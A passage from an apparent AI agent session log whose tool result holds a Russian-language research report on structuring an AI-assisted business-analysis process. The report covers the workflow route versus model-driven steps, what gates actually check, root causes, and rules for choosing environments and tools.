[Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:44.683Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:44.688Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:44.692Z] [STDOUT]   },\n[2026-09-29T07:46:44.698Z] [STDOUT]   durationMs: 757,\n[2026-09-29T07:46:44.702Z] [STDOUT] }\n[2026-09-29T07:46:44.710Z] [INFO] {\n[2026-09-29T07:46:44.710Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:44.710Z] [INFO]   \"message\": {\n[2026-09-29T07:46:44.710Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:44.710Z] [INFO]     \"content\": [\n[2026-09-29T07:46:44.710Z] [INFO]       {\n[2026-09-29T07:46:44.710Z] [INFO]         \"tool_use_id\": \"toolu_015b8Byv3jMfmbQfxFZDpkhn\",\n[2026-09-29T07:46:44.710Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:44.710Z] [INFO]         \"content\": \"## \u041c\u0435\u0442\u043e\u0434\\n\\n1. **\u0422\u0440\u0438 \u0441\u043b\u043e\u044f.** \u041a\u0430\u0436\u0434\u0430\u044f \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u043e\u0434\u043d\u043e\u043c\u0443 \u0441\u043b\u043e\u044e: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c\\n   (\u0433\u0440\u0443\u043f\u043f\u0430 [\u0415](#\u0435-\u0441\u043b\u043e\u0439-1-\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c-\u0438-\u0435\u0451-\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430-\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f)),\\n   \u0441\u0440\u0435\u0434\u044b (\u0433\u0440\u0443\u043f\u043f\u0430 [\u0416](#\u0436-\u0441\u043b\u043e\u0439-2-\u0441\u0440\u0435\u0434\u044b-\u0430\u0433\u0435\u043d\u0442-\u043a\u043b\u0438\u0435\u043d\u0442-\u043c\u043e\u0434\u0435\u043b\u044c-\u0447\u0435\u043b\u043e\u0432\u0435\u043a)),\\n   \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b (\u0433\u0440\u0443\u043f\u043f\u0430 [\u0417](#\u0437-\u0441\u043b\u043e\u0439-3-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b-\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438-\u0438-\u0437\u0430\u043f\u0443\u0441\u043a\u0430)).\\n2. **\u0414\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430.** \u0421\u0442\u0440\u043e\u043a\u0438 \u043a\u043e\u0434\u0430 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 `main`; \u043f\u0440\u043e\u0431\u044b runner\\n   GigaCode `P10`\u2026`P12` \u0432\\n   [`experiments/issue_639_runner_probes.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py)\\n   \u0441 [\u0436\u0443\u0440\u043d\u0430\u043b\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log);\\n   \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2014 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f, \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434\\n   \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435 2026-09-29. \u0412\u0442\u043e\u0440\u0438\u0447\u043d\u044b\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u044b.\\n3. **\u0421\u0442\u0430\u0442\u0443\u0441\u044b.** \u00ab\u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e\u00bb \u0438 \u00ab\u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e\u00bb \u2014 \u043a\u0430\u043a \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438.\\n   \u00ab\u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e\u00bb \u2014 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u043d\u043e \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u0432\\n   \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0435. \u00ab\u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e\u00bb \u2014 \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u043d\u0435\u0442, \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u043a\u0430\u043a\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n4. **\u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u0442\u0438\u043f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438** \u2014 \u043a\u0430\u043a \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438: \u0432\u044b\u0441\u043e\u043a\u0430\u044f,\\n   \u0441\u0440\u0435\u0434\u043d\u044f\u044f, \u043d\u0438\u0437\u043a\u0430\u044f; \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c, \u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c. \u0414\u043b\u044f \u0441\u043b\u043e\u044f 3\\n   \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0442\u0438\u043f **\u0432\u044b\u0431\u043e\u0440** \u2014 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043c\u0435\u0436\u0434\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438.\\n5. **\u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u0443\u0441\u043f\u0435\u0445\u0430 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.** \u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u0433\u043e\u0434\u0438\u0442\u0441\u044f \u043a\u0430\u043a \u044f\u0434\u0440\u043e, \u0435\u0441\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n   \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 (\u0433\u0440\u0430\u0444 \u0441 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0430\u043c\u0438 `EP-R3`/`EP-R5`, \u0437\u0430\u043f\u0438\u0441\u044c\\n   \u0440\u0435\u0448\u0435\u043d\u0438\u0439 `EP-R6`, \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 `EP-R7`, \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 `EP-R8`,\\n   \u0436\u0443\u0440\u043d\u0430\u043b `EP-R9`, G-human) \u043a\u043e\u0434\u043e\u043c \u0432\u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u0438, \u0431\u0435\u0440\u0451\u0442 \u0433\u0440\u0430\u0444 \u0438\u0437 Source \u0431\u0435\u0437\\n   \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u0441\u0432\u043e\u0435\u0439 \u0441\u0440\u0435\u0434\u044b.\\n6. **\u041f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.** \u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u044f\u0434\u0440\u043e, \u0435\u0441\u043b\u0438\\n   \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c\\n   \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b; \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0448\u0430\u0433\u043e\u0432 \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c; \u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a\\n   \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0440\u0435\u0434\u0435; \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435\\n   \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0438\u043b\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u043b\u0430\u0442\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0434\u043b\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438.\\n\\n## \u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u044e\u0449\u0438\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\\n\\n- **\u0417\u0430 \u00ab\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0432 \u043a\u043e\u0434\u0435, \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435\u00bb.** Anthropic: workflow \u0434\u0430\u044e\u0442\\n  \u00abpredictability and consistency for well-defined tasks\u00bb\\n  ([Building effective agents](https://www.anthropic.com/engineering/building-effective-agents));\\n  HumanLayer, \u0444\u0430\u043a\u0442\u043e\u0440 8 \u2014 \u00abOwn your control flow\u00bb\\n  ([12-factor agents](https://github.com/humanlayer/12-factor-agents));\\n  LangChain: \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u2014 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 workflow \u0438\\n  \u0430\u0433\u0435\u043d\u0442\u043e\u0432 ([How to think about agent frameworks](https://www.langchain.com/blog/how-to-think-about-agent-frameworks)).\\n  BA-\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u0438 \u0433\u0435\u0439\u0442\u0430\u043c\u0438 \u2014 \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430.\\n- **\u041f\u0440\u043e\u0442\u0438\u0432.** \u0422\u0430 \u0436\u0435 \u0441\u0442\u0430\u0442\u044c\u044f Anthropic \u0441\u043e\u0432\u0435\u0442\u0443\u0435\u0442 \u0430\u0433\u0435\u043d\u0442\u043e\u0432 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043d\u0443\u0436\u043d\u0430\\n  \u0433\u0438\u0431\u043a\u043e\u0441\u0442\u044c. \u0412 BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0433\u0438\u0431\u043a\u043e\u0441\u0442\u044c \u043d\u0443\u0436\u043d\u0430 \u0432\u043d\u0443\u0442\u0440\u0438 \u0443\u0437\u043b\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0438,\\n  \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u0432, \u2014 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u0440\u043e\u043c \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430, \u0430\\n  \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u2014 \u043d\u0435\u0442.\\n- **\u041d\u0435\u0433\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b.** \u0417\u0430\u043a\u0440\u044b\u0442\u0438\u0435 Roo Code \u0438 \u0441\u043c\u0435\u043d\u0430 \u0438\u043c\u0451\u043d \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 Cline\\n  ([\u0413-41](#\u0433-41)) \u2014 \u043b\u043e\u0433\u0438\u043a\u0430 \u0432 \u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0441\u043c\u0435\u043d\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\\n  \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 n8n ([\u0413-48](#\u0433-48)) \u2014 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439\\n  \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438. \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0443\u0437\u043b\u0430 \u043f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0432\\n  LangGraph ([\u0413-51](#\u0433-51)) \u2014 \u0434\u0432\u0438\u0436\u043e\u043a \u043d\u0435 \u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a\\n  \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u043e\u0431\u044b `P10`\u2026`P12` \u2014 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 runner \u0442\u043e\u0436\u0435 \u043c\u043e\u0436\u0435\u0442\\n  \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043b\u043e\u0436\u043d\u043e\u0435 \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438, \u0435\u0441\u043b\u0438 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n\\n## \u041a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b: \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\\n\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u043f\u0440\u0438\u0447\u0438\u043d. \u0421\u043b\u043e\u0438 1\u20133 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442 \u0442\u0440\u0438.\\n\\n7. **\u0423 \u0440\u043e\u043b\u0438 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb \u043d\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u0437\u0432\u0430\u043b\u0430 \u0440\u043e\u043b\u044c, \u043d\u043e\\n   \u043d\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f, \u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` \u0440\u0435\u0448\u0438\u043b \u0432\u043e\u043f\u0440\u043e\u0441 \u043f\u043e\u043a\u0443\u043f\u043a\u0438\\n   \u0434\u0432\u0438\u0436\u043a\u0430, \u043d\u0435 \u043d\u0430\u0437\u0432\u0430\u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0440\u043e\u043b\u044c \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u043b \u0442\u043e\u0442, \u043a\u0442\u043e\\n   \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0440\u044f\u0434\u043e\u043c: \u0411\u0410 \u0438\u043b\u0438 \u043c\u043e\u0434\u0435\u043b\u044c. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b [\u0413-26](#\u0433-26), [\u0413-36](#\u0433-36),\\n   [\u0413-40](#\u0433-40).\\n8. **\u0413\u0435\u0439\u0442 \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430.** \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a\\n   \u0433\u0435\u0439\u0442 \u0443\u0437\u043b\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `script_invoked`, \u043d\u043e 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\u043e\u0442\u043b\u043e\u0436\u0435\u043d \u0431\u0435\u0437 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u043e\u043f\u0440\u043e\u0441\\n   \u00ab\u0430 \u043d\u0435 \u0432\u0437\u044f\u0442\u044c \u043b\u0438 n8n\u00bb \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430. \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b\\n   [\u0413-50](#\u0433-50), [\u0413-54](#\u0433-54).\\n\\n## \u041a\u0430\u043a \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443: \u0432\u044b\u0431\u043e\u0440 \u0441\u0440\u0435\u0434\u044b \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\\n\\n\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 (\u043f\u0440\u0430\u0432\u0438\u043b\u0430 1\u20137).\\n\\n8. **\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0440\u043e\u043b\u0438 \u043d\u0430\u0437\u043e\u0432\u0438\u0442\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.** \u041c\u043e\u0434\u0435\u043b\u044c, \u0430\u0432\u0442\u043e\u0440 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430,\\n   \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430, \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u0433\u0435\u0439\u0442\u043e\u0432, \u043a\u0430\u043d\u0430\u043b\\n   \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f. \u0415\u0441\u043b\u0438 \u0432 \u0441\u0442\u0440\u043e\u043a\u0435 \u043f\u0443\u0441\u0442\u043e \u0438\u043b\u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u00ab\u0430\u0433\u0435\u043d\u0442 \u043f\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430\u043c\u00bb \u2014\\n   \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438 \u043d\u0435\u0442 ([\u0413-26](#\u0433-26)).\\n9. **\u0421\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0439\u0442\u0435, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0433\u0435\u0439\u0442.** \u00abG-mach \u043f\u0440\u043e\u0448\u0451\u043b\u00bb \u043c\u043e\u0436\u0435\u0442\\n   \u0437\u043d\u0430\u0447\u0438\u0442\u044c \u00ab\u043f\u0430\u043a\u0435\u0442 \u0446\u0435\u043b\u00bb, \u0430 \u043d\u0435 \u00ab\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430 \u0432\u0435\u0440\u0435\u043d\u00bb. \u0422\u0440\u0435\u0431\u0443\u0439\u0442\u0435 \u0432 \u0437\u0430\u0434\u0430\u0447\u0435:\\n   \u00ab\u0433\u0435\u0439\u0442 \u0443\u0437\u043b\u0430 X \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 X \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 Y\u00bb ([\u0413-29](#\u0433-29)).\\n10. **\u041e\u0442\u0434\u0435\u043b\u044f\u0439\u0442\u0435 \u044f\u0434\u0440\u043e \u043e\u0442 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438.** \u042f\u0434\u0440\u043e \u2014 \u0433\u0440\u0430\u0444, \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u044b, \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b,\\n    \u0436\u0443\u0440\u043d\u0430\u043b; \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u2014 \u0447\u0430\u0442, \u0444\u043e\u0440\u043c\u044b, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, Jira. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\\n    \u043e\u0446\u0435\u043d\u0438\u0432\u0430\u0439\u0442\u0435 \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c: \u00ab\u0433\u0434\u0435 \u0431\u0443\u0434\u0435\u0442 \u0436\u0438\u0442\u044c \u0433\u0440\u0430\u0444 \u0438 \u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0443 \u043d\u0435\u0433\u043e \u0431\u0443\u0434\u0435\u0442\\n    \u043a\u043e\u043f\u0438\u0439?\u00bb \u0415\u0441\u043b\u0438 \u043e\u0442\u0432\u0435\u0442 \u2014 \u00ab\u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u043a\u043e\u043f\u0438\u044f \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0435\u00bb, \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\\n    \u0433\u043e\u0434\u0438\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 ([\u0413-47](#\u0433-47)).\\n11. **\u041b\u044e\u0431\u043e\u0435 \u00ab\u043e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb 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\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442.**\\n    \u0415\u0441\u0442\u044c \u043b\u0438 \u0443 \u0441\u0440\u0435\u0434\u044b API \u043c\u043e\u0434\u0435\u043b\u0438, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u0430\u043a\u0438\u0435 \u043e\u0431\u0440\u0430\u0437\u044b\\n    \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u0418\u043d\u0430\u0447\u0435 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014\\n    \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u043d\u0435\u043b\u044c\u0437\u044f \u0440\u0430\u0437\u0432\u0435\u0440\u043d\u0443\u0442\u044c ([\u0413-42](#\u0433-42), [\u0413-43](#\u0433-43)).\\n\\n## \u0412\u044b\u0432\u043e\u0434: \u0432\u0435\u043a\u0442\u043e\u0440 \u0440\u0430\u0437\u0432\u0438\u0442\u0438\u044f \u0438 \u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u043a \u043e\u0442\u043b\u0430\u0434\u043a\u0435\\n\\n**\u0412\u0435\u043a\u0442\u043e\u0440 \u0432\u0435\u0440\u043d\u044b\u0439, \u043d\u043e \u0443 \u043d\u0435\u0433\u043e \u043d\u0435 \u0445\u0432\u0430\u0442\u0430\u043b\u043e \u043e\u0434\u043d\u043e\u0433\u043e \u0437\u0432\u0435\u043d\u0430.** Source \u2192\\nDistribution \u2192 Runtime \u2192 Feedback \u043f\u043e\\n[ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md)\\n\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043e\u0442\u0434\u0435\u043b\u044f\u0435\u0442 \u0442\u0435\u043e\u0440\u0438\u044e \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f. \u041d\u0435\u0434\u043e\u0441\u0442\u0430\u044e\u0449\u0435\u0435 \u0437\u0432\u0435\u043d\u043e \u2014 